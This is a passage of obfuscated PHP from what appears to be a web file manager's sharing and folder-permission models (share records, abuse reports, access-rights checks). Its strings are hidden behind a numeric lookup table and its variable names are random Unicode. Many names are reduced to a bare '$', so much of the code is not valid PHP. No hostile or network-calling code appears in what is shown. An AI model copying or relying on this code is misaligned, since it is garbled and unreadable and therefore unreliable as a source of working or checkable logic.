&& $͐[$[491]] == $[194]) { $ = $[1975]; } Model($[563])->eventShare($, $); return; } private function _addShareData($, $ = array(), $Κ = false) { $ =& $_SERVER[譃]; $ۓ = $Κ == $[1274] ? 0 : USER_ID; $ܝŊ = array($[414] => $, $[1646] => $ۓ); if ($ == 0) { $ܝŊ = array($[1976] => $[$[1174]], $[1646] => $ۓ); } if ($ɉ = $this->where($ܝŊ)->find()) { return $ɉ[$[484]]; } if ($ == 0) { $ߗ = array($[32] => get_path_this($[$[78]])); } else { $ߗ = Model($[823])->sourceInfo($); if (!$ߗ) { return !1; } } if (!$[$[1555]]) { $[$[1555]] = $ߗ[$[32]]; } $ = array($[1646] => $ۓ, $[414] => $, $[1555] => $[12], $[489] => 0, $[491] => 0, $[1174] => $[12], $[306] => $[12], $[889] => $[12], $[1977] => 0, $[1978] => 0, $[492] => 0, $[493] => $[12], $[486] => $[12]); $ = explode($[50], $[1979]); foreach ($ as $Ҕ) { if (!isset($[$Ҕ])) { continue; } $[$Ҕ] = $[$Ҕ]; } $Ä = $this->add($); $ϣ = array($[486] => short_id($Ä)); $this->where(array($[483] => $Ä))->save($ϣ); return $Ä; } private function _shareAuthSet($ɀ, $ݷ) { $䮚 =& $_SERVER[譃]; if (!is_array($ݷ)) { return !1; } $؞ = Model($䮚[1930]); $؞->where(array($䮚[484] => $ɀ))->delete(); $ד = array(); foreach ($ݷ as $ȴ) { $ = SourceModel::TYPE_USER; if ($ȴ[$䮚[408]] == SourceModel::TYPE_GROUP) { $ = SourceModel::TYPE_GROUP; } $ = array($䮚[484] => $ɀ, $䮚[408] => $, $䮚[501] => intval($ȴ[$䮚[501]]), $䮚[1926] => 0, $䮚[1980] => -1); if ($ȴ[$䮚[1926]]) { $[$䮚[1926]] = $ȴ[$䮚[1926]]; } else { if ($ȴ[$䮚[1980]]) { $[$䮚[1980]] = $ȴ[$䮚[1980]]; } } $ד[] = $; } return $؞->addAll($ד, array(), !0); } public function numViewAdd($ܿխ) { $Ǩ =& $_SERVER[譃]; $ʹ = array($Ǩ[483] => $ܿխ); $this->where($ʹ)->setAdd($Ǩ[1977]); } public function numDownloadAdd($) { $ҥ =& $_SERVER[譃]; $ί = array($ҥ[483] => $); $this->where($ί)->setAdd($ҥ[1978]); } protected function shareEdit($ە, $) { $ᆡ =& $_SERVER[譃]; $ꇡə = $this->getInfo($ە); if (!$ꇡə) { return !1; } $this->_checkLinkShare($, $ꇡə); $τ = array(); $б = explode($ᆡ[50], $ᆡ[1981]); foreach ($б as $Ժ) { if (!array_key_exists($Ժ, $)) { continue; } $τ[$Ժ] = $[$Ժ]; } $this->shareEventAdd($ꇡə[$ᆡ[399]], $, $ᆡ[1793]); $this->where(array($ᆡ[483] => $ە))->save($τ); if (isset($[$ᆡ[1970]])) { $this->_shareAuthSet($ە, $[$ᆡ[1970]]); } return !0; } private function _checkLinkShare($, $) { $̡ =& $_SERVER[譃]; if ($[$̡[489]] != $̡[89]) { return; } $洸 = $[$̡[87]][$̡[399]]; if ($[$̡[87]][$̡[33]] != $̡[196]) { $ń = $this->_folderReport($洸); if (!$ń) { return; } show_json(LNG($̡[1982]) . $̡[1983] . $ń, !1); } $ၴ = Model($̡[823])->fileInfoGet($[$̡[87]][$̡[399]]); if (!$ၴ) { return; } $ӝ = $this->shareFileMeta($ၴ[$̡[463]]); if (isset($ӝ[$̡[373]]) && $ӝ[$̡[373]] == $̡[89]) { show_json(LNG($̡[1984]), !1); } } private function _folderReport($̫) { $ =& $_SERVER[譃]; $ = array($[463] => array($[1012], 0), $[748] => 3); $ = Model($[1985])->where($)->field($[463])->select(); if (!$) { return !1; } $ = array_to_keyvalue($, $[12], $[463]); $Ω = $[50] . $̫ . $[50]; $ = array($[463] => array($[7], $), $[517] => array($[382], "\x25{$Ω}\x25"), $[427] => 0); $ = Model($[823])->where($)->field($[1986])->find(); if (!$) { return !1; } $ = substr($[$[517]], strpos($[$[517]], $Ω)); $ = array($[399] => array($[7], trim($, $[50]))); $Π = Model($[823])->where($)->field($[32])->select(); $ = array_to_keyvalue($Π, $[12], $[32]); $[] = $[$[32]]; return implode($[8], $); } protected function remove($) { $ɘ̫ =& $_SERVER[譃]; if (is_array($)) { $ = array($ɘ̫[7], $); } $ = array($ɘ̫[484] => $); $Ȝ = $this->where($)->delete(); if ($Ȝ) { Model($ɘ̫[595])->where(array($ɘ̫[484] => $))->delete(); } $ = is_array($) ? $[1] : array($); for ($ = 0; $ < count($); $++) { $ڽ = $this->getInfo($[$]); if ($ڽ[$ɘ̫[491]] == $ɘ̫[89]) { Model($ɘ̫[563])->eventShare($ڽ[$ɘ̫[399]], $ɘ̫[1975]); } if ($ڽ[$ɘ̫[489]] == $ɘ̫[89]) { Model($ɘ̫[563])->eventShare($ڽ[$ɘ̫[399]], $ɘ̫[1974]); } } return $Ȝ; } protected function removeBySource($ߢ) { $Ƌ =& $_SERVER[譃]; $۩ = array($Ƌ[414] => array($Ƌ[415], $ߢ)); $Ԑ = $this->field($Ƌ[484])->where($۩)->select(); $Ԑ = array_to_keyvalue($Ԑ, $Ƌ[12], $Ƌ[484]); if (!$Ԑ) { return; } $۩ = array($Ƌ[483] => array($Ƌ[415], $Ԑ)); $this->where($۩)->delete(); Model($Ƌ[595])->where($۩)->delete(); } public function listAll($) { $賷ӕ =& $_SERVER[譃]; $ = array(); if ($[$賷ӕ[1655]]) { $[$賷ӕ[1655]] = $[$賷ӕ[1655]]; } if ($[$賷ӕ[759]]) { $ = $[$賷ӕ[492]] ? $[$賷ӕ[492]] : strtotime(date($賷ӕ[1987])); $[$賷ӕ[197]] = array($賷ӕ[332], array($[$賷ӕ[759]], $)); } if ($[$賷ӕ[33]]) { $[$[$賷ӕ[33]]] = 1; } else { $[] = array($賷ӕ[489] => array($賷ӕ[1012], 0), $賷ӕ[491] => array($賷ӕ[1012], 0), $賷ӕ[1964] => $賷ӕ[1920]); } if ($[$賷ӕ[1916]]) { $[] = array($賷ӕ[486] => $[$賷ӕ[1916]], $賷ӕ[1555] => array($賷ӕ[382], "\45{$[$賷ӕ[1916]]}\x25"), $賷ӕ[1964] => $賷ӕ[1920]); } $ = $this->_makeOrder()->where($)->selectPage(20); if (empty($[$賷ӕ[368]])) { return array(); } $this->_listDataApply($[$賷ӕ[368]]); return $; } public function listDataApply($Ս) { $this->_listDataApply($Ս); return $Ս; } private function _listDataApply(&$侢) { $ƻ =& $_SERVER[譃]; $ = array_to_keyvalue($侢, $ƻ[12], $ƻ[1655]); $ = Model($ƻ[537])->userListInfo(array_unique($)); $Ռ = array_to_keyvalue($侢, $ƻ[12], $ƻ[399]); $ֈ = Model($ƻ[823])->sourceListInfo($Ռ, !0); foreach ($侢 as $돤 => &$士ڷ) { $ͩ = $士ڷ[$ƻ[1655]]; $士ڷ[$ƻ[1988]] = $[$ͩ] ? $[$ͩ] : !1; $ԓͺ = $士ڷ[$ƻ[399]]; $士ڷ[$ƻ[87]] = $ֈ[$ԓͺ] ? $ֈ[$ԓͺ] : !1; if ($士ڷ[$ƻ[87]][$ƻ[427]] == $ƻ[89]) { unset($侢[$돤]); } if ($士ڷ[$ƻ[87]] != $ƻ[194] && !$士ڷ[$ƻ[87]]) { unset($侢[$돤]); } } unset($士ڷ); $侢 = array_values($侢); } private function _makeOrder($ = '') { $ʩޡ =& $_SERVER[譃]; $ھך = array($ʩޡ[197], $ʩޡ[492], $ʩޡ[1977], $ʩޡ[1978]); $ɰҔ = array($ʩޡ[444] => $ʩޡ[445], $ʩޡ[446] => $ʩޡ[447]); $˯ = Input::get($ʩޡ[451], $ʩޡ[7], $ʩޡ[420], $ھך); $֤ = Input::get($ʩޡ[452], $ʩޡ[7], $ʩޡ[1989], array($ʩޡ[1913], $ʩޡ[446])); $֤ = $ɰҔ[$֤]; $ = $ . "{$˯}\x20{$֤}"; return $this->order($); } public function reportAdd($ǖ) { $މ =& $_SERVER[譃]; $ȝ = array($މ[484] => $ǖ[$މ[484]], $މ[1655] => USER_ID); if (Model($މ[1985])->where($ȝ)->find()) { return !1; } $ߥ = array($މ[484] => $ǖ[$މ[484]], $މ[1555] => $ǖ[$މ[1555]], $މ[399] => $ǖ[$މ[399]], $މ[463] => $ǖ[$މ[463]], $މ[1655] => USER_ID, $މ[33] => $ǖ[$މ[33]], $މ[447] => $ǖ[$މ[447]]); return Model($މ[1985])->add($ߥ); } public function reportList($) { $ױ =& $_SERVER[譃]; $ = array(); if ($[$ױ[759]]) { $ˤ = $[$ױ[492]] ? $[$ױ[492]] : strtotime(date($ױ[1987])); $[$ױ[197]] = array($ױ[332], array($[$ױ[759]], $ˤ)); } if (isset($[$ױ[33]]) && in_array($[$ױ[33]], array($ױ[89], $ױ[431], $ױ[1990], $ױ[1991], $ױ[1992]))) { $[$ױ[33]] = $[$ױ[33]]; } if (isset($[$ױ[748]]) && in_array($[$ױ[748]], array($ױ[194], $ױ[89], $ױ[431], $ױ[1990]))) { $[$ױ[748]] = $[$ױ[748]]; } $ = Input::get($ױ[452], $ױ[7], $ױ[1989], array($ױ[1913], $ױ[446])); $Ǣ = array($ױ[444] => $ױ[445], $ױ[446] => $ױ[447]); $ = $ױ[1993] . $Ǣ[$]; $՞ = Model($ױ[1985])->where($)->order($)->selectPage(20); if (empty($՞[$ױ[368]])) { return array(); } $հ = array_to_keyvalue_group($՞[$ױ[368]], $ױ[748], $ױ[484]); if (!empty($հ[0])) { $ = $հ[0]; $ = array($ױ[484] => array($ױ[7], $)); $ = $this->where($)->field($ױ[484])->select(); $ = array_to_keyvalue($, $ױ[12], $ױ[484]); $ = array_diff($, $); if (!empty($)) { foreach ($՞[$ױ[368]] as $ => $ϝ) { if (in_array($ϝ[$ױ[484]], $)) { unset($՞[$ױ[368]][$]); } } } } $this->_listDataApply($՞[$ױ[368]]); return $՞; } public function reportStatus($) { $ =& $_SERVER[譃]; $闤 = array($[396] => $[$[396]]); $ٚ = Model($[1985])->where($闤)->field($[1994])->find(); if (!$ٚ) { return !1; } $ຶ = array($[748] => $[$[748]]); if ($[$[748]] == $[1990] && $ٚ[$[748]] == $[1990]) { $ຶ[$[748]] = 0; } $ض = Model($[1985])->where($闤)->save($ຶ); if ($[$[748]] == $[431]) { if ($ٚ[$[463]] != $[194] && $this->shareFileMeta($ٚ[$[463]])) { $this->shareFileMeta($ٚ[$[463]], 0); } $this->remove($ٚ[$[484]]); return !0; } if ($ض && $[$[748]] == $[1990]) { $ԕ = $ຶ[$[748]] == $[1990] ? 1 : 0; $this->shareFileMeta($ٚ[$[463]], $ԕ); $this->removeByFile($ٚ[$[463]]); } return $ض; } private function removeByFile($ܙ̞) { $枿 =& $_SERVER[譃]; $֎ = Model($枿[823])->where(array($枿[463] => $ܙ̞))->field($枿[399])->select(); $˾֙ = array_to_keyvalue($֎, $枿[12], $枿[399]); $̪ = array($枿[399] => array($枿[7], $˾֙), $枿[489] => 1); $֎ = $this->where($̪)->field($枿[484])->select(); if (empty($֎)) { return; } $ۭܿ = array_to_keyvalue($֎, $枿[12], $枿[484]); $this->remove($ۭܿ); } private function shareFileMeta($, $ڍ = null) { $֫ =& $_SERVER[譃]; $ = array($֫[463] => $, $֫[95] => $֫[1995]); if (is_null($ڍ)) { return Model($֫[1996])->where($)->find(); } $[$֫[373]] = $ڍ; Model($֫[1996])->add($, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\151\157\137\163\157\165\x72\x63\145\137\141\165\164\x68"; public function getAuth($䙻) { $ =& $_SERVER[譃]; $ = $this->sourceAuthSelect($䙻); $ = array(); $ۡ = array(); $ͮ = 2 << 25; foreach ($ as $) { $ = Model($[503])->listData($[$[1926]]); if (!$) { continue; } $[] = $; $鞽 = 0; if ($[$[408]] == SourceModel::TYPE_GROUP) { $鞽 = $ͮ * 2; } if ($[$[408]] == SourceModel::TYPE_USER) { $鞽 = $ͮ; } if ($[$[408]] == SourceModel::TYPE_USER && $[$[501]] == $[194]) { $鞽 = 0; } $ۡ[] = $[$[410]] + $鞽; } array_multisort($ۡ, SORT_DESC, $); return $; } public function sourceAuthSelect($) { $ا =& $_SERVER[譃]; static $μ = array(); $ = is_array($) ? !1 : !0; if ($) { $ = array($); } $á = array(); foreach ($ as $) { if (isset($μ[$])) { $á[$] = $μ[$]; } } if (count($á) == count($)) { return $ ? $á[$[0]] : $á; } $ = $ا[1997]; $ = array($ا[399] => array($ا[7], $)); $ѣ = $this->field($)->order($ا[396])->where($)->select(); $̈́ = array_to_keyvalue_group($ѣ, $ا[399]); foreach ($ as $) { $μ[$] = $̈́[$] ? $̈́[$] : array(); } if ($) { return $ѣ; } return $̈́; } public function setAuth($ڤ, $ի) { $ޅ =& $_SERVER[譃]; $¨ = Model($ޅ[1325])->sourceInfo($ڤ); if (!$¨) { return !1; } if ($¨[$ޅ[408]] != SourceModel::TYPE_GROUP) { return !1; } $؎ = 1; $ = $¨[$ޅ[501]]; if ($ != $؎) { $ɳҺ = array($ޅ[1823] => $); $϶Ȝ = Model($ޅ[1912])->field($ޅ[1655])->where($ɳҺ)->select(); $϶Ȝ = array_to_keyvalue($϶Ȝ, $ޅ[12], $ޅ[1655]); } $ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $Ͳ̎ = array(); foreach ($ի as $) { if (!in_array($[$ޅ[408]], $)) { show_json(LNG($ޅ[1998]), !1); } if ($ != $؎) { if ($[$ޅ[408]] == SourceModel::TYPE_GROUP) { } if ($[$ޅ[501]] != 0 && !in_array($[$ޅ[501]], $϶Ȝ)) { } } if ($[$ޅ[501]] == 0) { $[$ޅ[408]] = SourceModel::TYPE_USER; } $Ͳ̎[] = array($ޅ[399] => $ڤ, $ޅ[408] => intval($[$ޅ[408]]), $ޅ[501] => intval($[$ޅ[501]]), $ޅ[1926] => intval($[$ޅ[1926]]) ? intval($[$ޅ[1926]]) : 0, $ޅ[1980] => intval($[$ޅ[1980]]) ? intval($[$ޅ[1980]]) : -1); } $this->where(array($ޅ[414] => $ڤ))->delete(); $this->addAll($Ͳ̎); return !0; } public function authClear($ٶ) { $ =& $_SERVER[譃]; $ = Model($[1325])->sourceInfo($ٶ); $ɥ = array($ٶ); if ($[$[407]] == $[89]) { $ = array($[583] => array($[543], $[$[517]] . $ٶ . $[544])); $ɥ = Model($[1325])->field($[414])->where($)->getField($[399], !0); $ɥ[] = $ٶ; } $this->where(array($[414] => array($[415], $ɥ)))->delete(); return !0; } public function getAllChildren($ʽ) { $ =& $_SERVER[譃]; $ð = Model($[1325])->sourceInfo($ʽ); if ($ð[$[407]] != $[89]) { return $this->sourceListAuth(array($ʽ)); } if ($ð[$[408]] != SourceModel::TYPE_GROUP) { return array(); } $ = 1; $ѡ = array($ʽ); if ($ð[$[494]] == $[194] && $ð[$[501]] != $) { $ѡ = $this->groupChidldAllRootSource($ð[$[501]]); } $ = $this->field($[399])->group($[399])->select(); $ = array_to_keyvalue($, $[12], $[399]); if (!$) { return array(); } $ː = $[1999]; $˅ = array($[399] => array($[7], $), $[427] => $[194]); $ = Model($[823])->field($ː)->where($˅)->select(); $ٌ = array($ʽ); foreach ($ as $ё) { foreach ($ѡ as $ԶĒ) { $ = $[50] . $ԶĒ . $[50]; $ѧ = $ё[$[517]] . $ё[$[399]] . $[50]; if (strstr($ѧ, $)) { $ٌ[] = $ё[$[399]]; break; } } } return $this->sourceListAuth($ٌ); } private function sourceListAuth($) { $ё沎 =& $_SERVER[譃]; $ = Model($ё沎[1325])->sourceListInfo($, !0); $ = $this->sourceAuthSelect($); $ށ患 = array(); $Ƙ = array(); foreach ($ as $ɴ) { unset($ɴ[$ё沎[450]]); unset($ɴ[$ё沎[448]]); unset($ɴ[$ё沎[410]]); unset($ɴ[$ё沎[87]]); $Ёꭩ = $[$ɴ[$ё沎[399]]]; if (!$Ёꭩ) { continue; } $ɴ[$ё沎[2000]] = $this->authTargetInfo($Ёꭩ); $ɴ[$ё沎[515]] = rtrim($ɴ[$ё沎[521]], $ё沎[8]) . $ё沎[8] . ltrim($ɴ[$ё沎[515]], $ё沎[8]); $ށ患[] = $ɴ; $ۆ = count(explode($ё沎[8], trim($ɴ[$ё沎[515]], $ё沎[8]))); $Ƙ[] = $ۆ + ($ɴ[$ё沎[33]] == $ё沎[79] ? 0 : 1000); } array_multisort($Ƙ, SORT_ASC, $ށ患); return $ށ患; } private function groupChidldAllRootSource($) { $ijѫ =& $_SERVER[譃]; $ه = Model($ijѫ[2001])->groupChildrenAll($); $ = array($ijѫ[494] => 0, $ijѫ[501] => array($ijѫ[7], $ه), $ijѫ[408] => SourceModel::TYPE_GROUP); $ = Model($ijѫ[823])->field($ijѫ[399])->where($)->select(); $ = array_to_keyvalue($, $ijѫ[12], $ijѫ[399]); return $; } private function authTargetInfo($ʂ) { $ =& $_SERVER[譃]; $崵 = array(); $ = array(); $ = 2 << 25; foreach ($ʂ as $) { $̵ = Model($[503])->listData($[$[1926]]); if (!$̵) { continue; } if ($[$[408]] == SourceModel::TYPE_USER) { $ڢ = Model($[509])->getInfoSimpleOuter($[$[501]]); if ($ڢ[$[1655]] == $[1188]) { continue; } if ($ڢ[$[1655]] == $[194]) { $ڢ[$[32]] = LNG($[2002]); } } else { $ڢ = Model($[518])->getInfoSimple($[$[501]]); } if (!$ڢ) { continue; } $ڢ[$[462]] = $̵; $崵[] = $ڢ; $߆д = 0; if ($[$[408]] == SourceModel::TYPE_GROUP) { $߆д = $ * 2; } if ($[$[408]] == SourceModel::TYPE_USER) { $߆д = $; } if ($[$[408]] == SourceModel::TYPE_USER && $[$[501]] == $[194]) { $߆д = 0; } $[] = $̵[$[410]] + $߆д; } array_multisort($, SORT_DESC, $崵); return $崵; } public function getAllChildrenByUser($, $Ь) { $ =& $_SERVER[譃]; $ = Model($[537])->getInfo($Ь); if (!$Ь || !$ || !$) { return array(); } $ښ = Model($[1325])->sourceInfo($); $辭Θ = array(); $ = 1; if ($ښ[$[494]] == $[194] && $ښ[$[501]] != $ && $this->groupContainUser($ښ[$[501]], $Ь)) { foreach ($[$[2003]] as $) { $ݵ = Model($[518])->getInfo($[$[1823]]); $ď = Model($[537])->getInfoSimpleOuter($Ь); $ď[$[462]] = $[$[410]]; if (Model($[503])->authCheckAction($[$[410]][$[410]], $[1843])) { continue; } $܂ = array($[32] => $[1604] . $ݵ[$[32]], $[399] => $ݵ[$[87]][$[399]], $[78] => KodIO::make($ݵ[$[87]][$[399]]), $[494] => $[194], $[408] => $[511], $[33] => $[547], $[515] => $ݵ[$[522]], $[1823] => $ݵ[$[1823]], $[519] => $ݵ[$[494]], $[2000] => array($ď)); $辭Θ[$܂[$[399]]] = $܂; } } $ټ = array(); $˂ = $this->getAllChildren($); foreach ($˂ as $æ) { $ = !1; foreach ($æ[$[2000]] as $) { if ($[$[1655]]) { if ($[$[1655]] == $Ь) { $ = !0; break; } } if ($[$[1823]]) { if ($this->groupContainUser($[$[1823]], $Ь)) { $ = !0; break; } } } if ($) { $ټ[] = $æ; } $ = $æ[$[399]]; if (isset($辭Θ[$])) { $æ[$[2000]][] = $辭Θ[$][0]; $辭Θ[$] = !1; } } $辭Θ = array_filter(array_values($辭Θ)); $ټ = array_merge($辭Θ, $ټ); return $ټ; } public function setAllChildrenByUser($, $̠߁, $Ԣ) { $ܢ =& $_SERVER[譃]; $ = $this->getAllChildrenByUser($, $̠߁); if (!$Ԣ || !$) { return !1; } foreach ($ as $) { $ = array(); foreach ($[$ܢ[2000]] as $) { $ = $[$ܢ[462]]; $ = $[$ܢ[1655]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $͂ݜ = $[$ܢ[1655]] ? $[$ܢ[1655]] : $[$ܢ[1823]]; if ($[$ܢ[1655]] && $[$ܢ[1655]] == $̠߁) { continue; } $[] = array($ܢ[399] => $[$ܢ[399]], $ܢ[408] => $, $ܢ[501] => intval($͂ݜ), $ܢ[1926] => isset($[$ܢ[396]]) ? intval($[$ܢ[396]]) : 0, $ܢ[1980] => isset($[$ܢ[1980]]) ? intval($[$ܢ[1980]]) : -1); } $[] = array($ܢ[399] => $[$ܢ[399]], $ܢ[408] => SourceModel::TYPE_USER, $ܢ[501] => intval($̠߁), $ܢ[1926] => intval($Ԣ), $ܢ[1980] => -1); $this->where(array($ܢ[414] => $[$ܢ[399]]))->delete(); $this->addAll($); } return !0; } public function get($) { $ = $this->getSourceList(array($), !0); return $[0]; } public function getSourceList($ٺ, $ƿ = false, $ = false) { $Օܶ =& $_SERVER[譃]; if (!$ٺ) { return array(); } $う = Model($Օܶ[1325]); if (!$ƿ && count($ٺ) == 1) { $ƿ = array(); $ƿ[$ٺ[0]] = $う->sourceInfo($ٺ[0]); } if (!$ƿ) { $ = array($Օܶ[414] => array($Օܶ[415], $ٺ)); $ƿ = $う->field($Օܶ[2004])->where($)->select(); $ƿ = array_to_keyvalue($ƿ, $Օܶ[399]); } $Ѫ = $ٺ; foreach ($ƿ as $ϴ => $ƻ) { $҈ɜ = $う->parentLevelArray($ƻ[$Օܶ[517]]); $Ѫ = array_merge($Ѫ, array($ϴ), array_reverse($҈ɜ)); } $Ѫ = array_values(array_unique($Ѫ)); if (!$Ѫ) { return array(); } $ϖ = $this->sourceAuthSelect($Ѫ); $㾩 = array(); foreach ($Ѫ as $) { if (isset($ϖ[$])) { $㾩[$] = $ϖ[$]; } } $ɔ = $this->userIsRoot($); $ = AuthModel::authAll(); $ = array($Օܶ[411] => $, $Օܶ[2005] => array($Օܶ[416] => 0, $Օܶ[1829] => $, $Օܶ[417] => LNG($Օܶ[2006]), $Օܶ[1845] => $Օܶ[2007])); $ = array(); foreach ($ƿ as $ => $) { if ($ɔ) { $[$] = $; continue; } $[$] = $this->makeSourceAuth($, $㾩, $); } return $; } public function authDeepCheck($, $ď = false) { $Ƴ֥ =& $_SERVER[譃]; $ď = $ď ? $ď : USER_ID; $ = $this->makeAuthDeep($ď); if (!in_array($, $[$Ƴ֥[2008]])) { return !1; } $۵ = array(); foreach ($[$Ƴ֥[2009]] as $֖ => $̸) { if (!in_array($, $̸)) { continue; } $۵[] = $֖; } if (!$۵) { return !1; } $ϑ = $۵ ? $۵[0] : $; return array($Ƴ֥[411] => -1, $Ƴ֥[462] => array($Ƴ֥[416] => $Ƴ֥[1188], $Ƴ֥[1829] => $Ƴ֥[194], $Ƴ֥[417] => LNG($Ƴ֥[2010]), $Ƴ֥[1845] => $Ƴ֥[2011]), $Ƴ֥[2012] => LNG($Ƴ֥[2013]), $Ƴ֥[2014] => $this->sourceAuthInfo($ϑ)); } protected function makeAuthDeep($ = false) { $ɿ =& $_SERVER[譃]; static $爲 = array(); $ = $ ? $ : USER_ID; if (isset($爲[$])) { return $爲[$]; } $֬ = Model($ɿ[2015])->listData(); $ધ = array(); foreach ($֬ as $) { if ($[$ɿ[410]] == 0 && $[$ɿ[1844]] == $ɿ[89]) { $ધ[] = $[$ɿ[396]]; } } $ = $this->userGroupParents($); $Ə = array($ɿ[408] => SourceModel::TYPE_USER, $ɿ[501] => $); if ($) { $Ə = array(array($ɿ[408] => SourceModel::TYPE_USER, $ɿ[501] => $), array($ɿ[408] => SourceModel::TYPE_GROUP, $ɿ[501] => array($ɿ[415], $)), $ɿ[1000] => $ɿ[1920]); } $Å = $this->field($ɿ[2016])->where($Ə)->select(); $٬䚡 = array(); $܋ = array_to_keyvalue_group($Å, $ɿ[399]); foreach ($܋ as $ө => $ۍ) { $ӳ = $this->authArrayCheck($ۍ, $); if ($ӳ[$ɿ[411]] > 0) { $٬䚡[] = $ө . $ɿ[12]; } } if ($) { $Ͳ = Model($ɿ[518]); foreach ($ as $Һ) { $ݥ = $Ͳ->getInfo($Һ); if (!$ݥ || !is_array($ݥ[$ɿ[87]])) { continue; } $٬䚡[] = $ݥ[$ɿ[87]][$ɿ[399]]; } } $ = array(); $ܪ = $; $ݞ = Model($ɿ[1325]); $Ͳ = Model($ɿ[518]); $Π = array(); $ʖݫ = array(); $DZ͋ = array(); $۪ = array(); if ($٬䚡) { $̞ժ = $ݞ->where(array($ɿ[399] => array($ɿ[415], $٬䚡)))->select(); foreach ($̞ժ as $) { $ = $ݞ->parentLevelArray($[$ɿ[517]]); $ = array_merge($, $); $ܪ[] = $[$ɿ[501]]; $Π[$[$ɿ[399]]] = $; $ʖݫ[$[$ɿ[399]]] = $[$ɿ[501]]; } } $ܪ = array_values(array_unique($ܪ)); $ = $ܪ; foreach ($ as $Һ) { $ݥ = $Ͳ->getInfo($Һ); $ = $ݞ->parentLevelArray($ݥ[$ɿ[517]]); $ܪ = array_merge($ܪ, $); } $ܪ = array_values(array_unique($ܪ)); foreach ($ܪ as $Һ) { $ݥ = $Ͳ->getInfo($Һ); $[] = $ݥ[$ɿ[87]][$ɿ[399]]; $DZ͋[$Һ] = $ݥ[$ɿ[87]][$ɿ[399]]; $۪[$Һ] = $ݞ->parentLevelArray($ݥ[$ɿ[517]]); } foreach ($Π as $ʯ݇ => $) { $Ԑ = $ʖݫ[$ʯ݇]; if (!$Ԑ || !$DZ͋[$Ԑ]) { continue; } $֚ = array(); foreach ($۪[$Ԑ] as $Һ) { $֚[] = $DZ͋[$Һ]; } $Π[$ʯ݇] = array_merge($֚, $); } $ = array_values(array_unique($)); $ = array($ɿ[2008] => $, $ɿ[2009] => $Π); $爲[$] = $; return $; } private function makeSourceAuth($, $ִ, $ = false) { $㙼 =& $_SERVER[譃]; $ڊ = $㙼[89]; $ى = $[$㙼[501]]; $ʈ = $[$㙼[408]] == SourceModel::TYPE_GROUP; $ = $ʈ ? $this->groupRootAuth($ى, $) : !1; if ($ && Model($㙼[503])->authCheckAction($[$㙼[410]], $㙼[1843])) { return $this->groupAuthInfo($, $ى); } $ڰ = Model($㙼[1325])->parentLevelArray($[$㙼[517]]); $ڰ = array_merge(array($[$㙼[399]]), array_reverse($ڰ)); $ = !1; foreach ($ڰ as $) { if (!isset($ִ[$])) { continue; } $̳ = $this->authMake($ִ[$], $); if ($̳[$㙼[462]]) { $ = $̳; break; } } if (!$ʈ) { return $; } if (!$ && $) { $ = $this->groupAuthInfo($, $ى); } if (!$) { $ = Model($㙼[518])->getInfo($ى); $ = explode($㙼[50], trim($[$㙼[517]], $㙼[50])); $ = array_reverse($); foreach ($ as $̨ۃ) { if ($̨ۃ == $㙼[194] || $̨ۃ == $ڊ) { continue; } $캮 = $this->groupRootAuth($̨ۃ, $); if (!$캮) { continue; } $ = $this->groupAuthInfo($캮, $̨ۃ); break; } } if (!$ || $[$㙼[411]] <= 0) { $譳 = $this->authDeepCheck($[$㙼[399]], $); if ($譳) { $ = $譳; } } return $; } private function userIsRoot($㶝 = false) { $ر =& $_SERVER[譃]; if (!$㶝 && _get($GLOBALS, $ر[499])) { return !0; } $ = Model($ر[537])->getInfo($㶝); $ = Model($ر[2017])->listData($[$ر[1535]]); if ($ && $[$ر[507]][$ر[2018]] == 1) { return !0; } return !1; } private function sourceAuthInfo($) { $ƣ =& $_SERVER[譃]; $ = Model($ƣ[1325]); $ = $->sourceInfo($); if (!$) { return !1; } $->groupPathDisplay($); $ = array($); $ = $->_listAppendPath($); $ = $[0]; $ͨߪ = $[$ƣ[515]]; if (isset($[$ƣ[523]])) { $ͺއ = explode($ƣ[8], trim($[$ƣ[515]], $ƣ[8])); array_shift($ͺއ); $ͨߪ = $[$ƣ[521]] . $ƣ[2019] . implode($ƣ[8], $ͺއ); } return array($ƣ[417] => $[$ƣ[32]], $ƣ[78] => KodIO::make($[$ƣ[399]]), $ƣ[2020] => $ͨߪ); } private function groupAuthInfo($, $ר) { $ =& $_SERVER[譃]; $ = Model($[518])->getInfo($ר); return array($[2021] => intval($[$[410]]), $[2005] => $, $[2022] => LNG($[2023]), $[2014] => array($[417] => $[$[32]], $[78] => KodIO::make($[$[87]][$[399]]), $[2020] => $[$[522]])); } protected function groupRootAuth($, $ = false) { $ =& $_SERVER[譃]; $ = $ ? $ : USER_ID; $Ĵ = $ . $[2024] . $; static $ʟ = array(); if (isset($ʟ[$Ĵ])) { return $ʟ[$Ĵ]; } $ = Model($[518])->getInfo($); $Л = $this->userGroupList($); $ϰ = isset($Л[$]) ? $Л[$][$[410]] : !1; if ($ϰ && Model($[503])->authCheckAction($ϰ[$[410]], $[1843])) { $ʟ[$Ĵ] = $ϰ; return $ϰ; } $ = $this->sourceAuthSelect($[$[87]][$[399]]); $۔ = $ ? $this->authMake($, $) : !1; $ = $۔ ? $۔[$[462]] : !1; $ʟ[$Ĵ] = $ ? $ : $ϰ; return $ʟ[$Ĵ]; } public function authOwnerApply($̳) { $ =& $_SERVER[譃]; if (empty($̳[$[410]]) || isset($̳[$[2025]]) && $̳[$[2025]]) { return $̳; } if (AuthModel::authCheckRoot($̳[$[410]][$[411]])) { return $̳; } $ = Model($[1325])->parentLevelArray($̳[$[517]]); $ = array_merge(array($̳[$[399]]), array_reverse($)); $ = $this->sourceAuthSelect($); $ڽ = array(); $ = array(); foreach ($ as $і => $) { $ = $this->authFolderOwnerUser($); $ڽ[$і] = $; $ = array_merge($, $[$[593]]); if ($[$[2026]]) { break; } } if (count($) == 0) { $ = $this->authFolderOwnerGroup($̳[$[501]]); } $ = array_unique($); if (AuthModel::authCheckRoot($̳[$[410]][$[411]])) { $[] = USER_ID; } $̳[$[410]][$[2027]] = Model($[509])->userListInfo($); return $̳; } private function authFolderOwnerGroup($ؙ) { $ =& $_SERVER[譃]; $σ = Model($[1912])->where(array($[1823] => $ؙ))->select(); $ߡ = array(); if (!$σ) { return $ߡ; } foreach ($σ as $탰) { $ꋠ = $this->authInfo($탰); if (AuthModel::authCheckRoot($ꋠ[$[410]])) { $ߡ[] = $탰[$[1655]]; } } return $ߡ; } private function authFolderOwnerUser($ֹ) { $ˇ =& $_SERVER[譃]; $ƞ = array(); $ݿ = 